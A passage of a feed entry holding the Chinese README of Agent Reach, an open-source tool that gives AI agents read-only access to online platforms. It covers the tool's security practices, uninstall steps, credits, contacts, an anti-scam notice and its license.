--&gt;|\u5931\u8d25\u65f6\u5907\u9009| E[\u4e0a\u6e38\u5de5\u5177 2]\n    D --&gt; F[\u7ed3\u679c]\n    E --&gt; F\n    F --&gt; A\n</code></pre> \n<p>\u5e73\u53f0\u6539\u7248\u3001\u5de5\u5177\u5931\u6548\u662f\u5e38\u6001\u3002\u6362\u5de5\u5177\u53ea\u662f\u8c03\u6574\u8fd9\u4e2a\u5217\u8868\uff0cAgent \u7684\u7528\u6cd5\u4e0d\u53d8\u3002</p> \n<hr /> \n<h2>\u5b89\u5168\u6027</h2> \n<ul> \n <li><strong>\u53ea\u8bfb</strong>\uff1a\u53ea\u641c\u7d22\u548c\u8bfb\u53d6\uff0c\u4e0d\u53d1\u5e16\u3001\u4e0d\u8bc4\u8bba\u3001\u4e0d\u70b9\u8d5e\u3001\u4e0d\u79c1\u4fe1\u3002</li> \n <li><strong>\u4ece\u4e0d\u66ff\u4f60\u767b\u5f55\uff0c\u4e5f\u4e0d\u8981\u4f60\u7684\u5bc6\u7801\u3002</strong> \u90e8\u5206\u5e73\u53f0\u4f1a\u590d\u7528\u4f60\u7535\u8111\u4e0a\u5df2\u6709\u7684\u767b\u5f55\uff08\u53ea\u590d\u5236\u8fd9\u4e00\u4e2a\u7f51\u7ad9\uff0c\u539f\u6d4f\u89c8\u5668\u4e0d\u53d8\uff09\uff1b\u786e\u5b9e\u9700\u8981\u91cd\u65b0\u767b\u5f55\u65f6\u624d\u6253\u5f00\u4e13\u7528\u7a97\u53e3\uff0c\u7531\u4f60\u672c\u4eba\u5b8c\u6210\u3002</li> \n <li><strong>\u4e13\u7528\u6d4f\u89c8\u5668\u53ea\u5bf9\u4f60\u8fd9\u53f0\u7535\u8111\u5f00\u653e</strong>\uff0c\u522b\u7684\u7535\u8111\u8fde\u4e0d\u4e0a\u5b83\u3002</li> \n <li><strong>\u5efa\u8bae\u7528\u5c0f\u53f7\u767b\u5f55\u3002</strong> \u590d\u7528\u8fc7\u6765\u7684\u901a\u5e38\u662f\u4e3b\u8d26\u53f7\uff0c\u800c\u5e73\u53f0\u53ef\u80fd\u9650\u5236\u81ea\u52a8\u8bbf\u95ee\u7684\u8d26\u53f7\u3002\u60f3\u6362\u6210\u5c0f\u53f7\uff0c\u8ddf Agent \u8bf4\u4e00\u58f0\u5c31\u884c\u3002</li> \n <li><strong>Key \u4e0d\u8981\u53d1\u5728\u804a\u5929\u91cc</strong>\uff1a\u5728\u4f60\u81ea\u5df1\u7684\u7ec8\u7aef\u91cc\u8fd0\u884c <code>agent-reach configure groq-key</code> \u586b\u5199\u3002</li> \n</ul> \n<h3>\ud83d\uddd1\ufe0f \u5378\u8f7d</h3> \n<p>\u8ddf Agent \u8bf4\"\u5378\u8f7d Agent Reach\"\u3002\u5b83\u4f1a\u5148\u5217\u51fa\u8981\u5220\u7684\u4e1c\u897f\uff0c\u4f60\u786e\u8ba4\u540e\u518d\u5220\u3002\u53ea\u5220 Agent Reach \u81ea\u5df1\u88c5\u7684\u4e1c\u897f\uff0c\u4f60\u7684\u5176\u4ed6\u6587\u4ef6\u548c\u6d4f\u89c8\u5668\u90fd\u4e0d\u52a8\u3002\u6700\u540e\u5b83\u4f1a\u544a\u8bc9\u4f60\u600e\u4e48\u5220\u6389\u7a0b\u5e8f\u672c\u8eab\u3002</p> \n<hr /> \n<h2>\u2b50 \u4e3a\u4ec0\u4e48\u503c\u5f97 Star</h2> \n<p>\u8fd9\u4e2a\u9879\u76ee\u6211\u81ea\u5df1\u6bcf\u5929\u5728\u7528\uff0c\u6240\u4ee5\u6211\u4f1a\u4e00\u76f4\u7ef4\u62a4\u5b83\u3002</p> \n<ul> \n <li>\u6709\u65b0\u9700\u6c42\u6216\u8005\u5927\u5bb6\u63d0\u4e86\u60f3\u8981\u7684\u6e20\u9053\uff0c\u6211\u4f1a\u9646\u7eed\u52a0\u4e0a</li> \n <li>\u6bcf\u4e2a\u6e20\u9053\u6211\u4f1a\u5c3d\u91cf\u4fdd\u8bc1<strong>\u80fd\u7528\u3001\u597d\u7528\u3001\u514d\u8d39</strong></li> \n <li>\u5e73\u53f0\u6539\u4e86\u53cd\u722c\u6216\u8005 API \u53d8\u4e86\uff0c\u6211\u4f1a\u60f3\u529e\u6cd5\u89e3\u51b3</li> \n</ul> \n<p>Star \u4e00\u4e0b\uff0c\u4e0b\u6b21\u9700\u8981\u7684\u65f6\u5019\u80fd\u627e\u5230\u3002\u2b50</p> \n<hr /> \n<h2>\u81f4\u8c22</h2> \n<p><a href=\"https://github.com/jackwener/opencli\">OpenCLI</a> \u00b7 <a href=\"https://github.com/public-clis/bilibili-cli\">bili-cli</a> \u00b7 <a href=\"https://github.com/can4hou6joeng4/boss-agent-cli\">boss-agent-cli</a> \u00b7 <a href=\"https://github.com/yt-dlp/yt-dlp\">yt-dlp</a> \u00b7 <a href=\"https://github.com/jina-ai/reader\">Jina Reader</a> \u00b7 <a href=\"https://exa.ai\">Exa</a></p> \n<h2>\u8054\u7cfb</h2> \n<ul> \n <li>\ud83d\udce7 <strong>Email:</strong> <a href=\"mailto:pnt01@foxmail.com\">pnt01@foxmail.com</a></li> \n <li>\ud83d\udc26 <strong>Twitter/X:</strong> <a href=\"https://x.com/Neo_Reidlab\">@Neo_Reidlab</a></li> \n</ul> \n<h2>\u4e1a\u52a1\u5408\u4f5c / \u4ea4\u6d41\u7fa4</h2> \n<p>\u6709\u76f8\u5173\u5408\u4f5c\uff0c\u6216\u8005\u60f3\u52a0\u4ea4\u6d41\u7fa4\uff0c\u52a0\u6211\u5fae\u4fe1\uff0c\u6216\u76f4\u63a5\u52a0\u5165 Discord \u793e\u533a\uff1a</p> \n<p align=\"center\"> <img alt=\"WeChat QR\" src=\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/docs/wechat-group-qr.jpg\" width=\"280\" /> &nbsp;&nbsp; <a href=\"https://discord.gg/NSZz22R39\"><img alt=\"\u52a0\u5165 Agent Reach Discord \u793e\u533a\" src=\"https://img.shields.io/badge/Discord-%E5%8A%A0%E5%85%A5%E7%A4%BE%E5%8C%BA-5865F2?style=for-the-badge&amp;logo=discord&amp;logoColor=white\" /></a> </p> \n<blockquote> \n <p>Bug \u53cd\u9988\u548c\u529f\u80fd\u8bf7\u6c42\u8bf7\u7528 <a href=\"https://github.com/Panniantong/Agent-Reach/issues\">GitHub Issues</a>\uff0c\u66f4\u5bb9\u6613\u8ddf\u8e2a\u3002</p> \n</blockquote> \n<h2>\u9632\u9a97\u63d0\u9192</h2> \n<p>Agent Reach \u6ca1\u6709\u5b98\u65b9\u4ee3\u5e01\u3001\u5e01\u3001\u6295\u8d44\u4ea7\u54c1\u3001\u9886\u53d6\u624b\u7eed\u8d39\u6d3b\u52a8\u3001\u94b1\u5305\u8fde\u63a5\uff0c\u4e5f\u6ca1\u6709 Solana/Pump.fun \u9879\u76ee\u3002\u4efb\u4f55\u501f\u7528 Agent Reach \u540d\u5b57\u3001GitHub \u5730\u5740\u6216\u4f5c\u8005\u8eab\u4efd\u7684\u52a0\u5bc6\u9879\u76ee\u90fd\u4e0e\u672c\u4ed3\u5e93\u65e0\u5173\uff0c\u8bf7\u52ff\u636e\u6b64\u8fde\u63a5\u94b1\u5305\u6216\u9886\u53d6\u4efb\u4f55\u8d39\u7528\u3002</p> \n<h2>License</h2> \n<p><a href=\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/LICENSE\">MIT</a></p> \n<h2>\u53cb\u60c5\u94fe\u63a5</h2> \n<p><a href=\"https://agentskillshub.top/\">Agent Skills Hub</a> \u2014 \u627e Claude \u6280\u80fd\u548c MCP \u670d\u52a1\u5668\uff0c\u4e0d\u7528\u731c\u54ea\u4e2a\u5b89\u5168\uff1a133,000+ \u4e2a\u6761\u76ee\u5168\u90e8\u5b89\u5168\u5206\u7ea7\u3001\u8d28\u91cf\u8bc4\u5206\uff0c\u6bcf 8 \u5c0f\u65f6\u5237\u65b0\u3002</p> \n<p><a href=\"https://atomgit.com/qq_51337814/Agent-Reach\">AtomGit \u955c\u50cf</a> \u2014 Agent Reach \u7684 AtomGit \u540c\u6b65\u955c\u50cf\uff0c\u4fbf\u4e8e\u56fd\u5185\u8bbf\u95ee\u4e0e\u514b\u9686\u3002</p> \n<h2>Star History</h2> \n<p><a href=\"https://www.star-history.com/?type=date&amp;repos=Panniantong%2FAgent-Reach\">\n  \n   <source media=\"(prefers-color-scheme: dark)\" />\n   <source media=\"(prefers-color-scheme: light)\" />\n   <img alt=\"Star History Chart\" src=\"https://api.star-history.com/chart?repos=Panniantong/Agent-Reach&amp;type=date&amp;legend=top-left&amp;sealed_token=P2746KOq7grpS8Q-nrqEzci1-Z0-dOw-M3KEqju-l3TyF24NMyRDR7TnxdReJWlXyomoT4mjjqC28-2-c2G6CnzmS1hgYdEDiGPmLkmEqKP5tgjORXshdrUFxoSxTqmIKEMFFmGZUX1v3ec-q_XMyftTVWzluiQH7CvKoZ1uDKU3PJN05mO22u7qlLeG\" />\n  </a></p>", "image": null, "banner_image": null, "date_published": "2026-10-28T08:46:08Z", "date_modified": "2026-10-28T08:46:08Z", "authors": ["Unknown"], "tags": [], "language": null, "attachments": ["\n                            {\"url\": string, \n                            'mime_type': string, \n                            'title': strinrg,\n                            'size_in_bytes': int,\n                            'duration_in_seconds': int\n                            "]}]}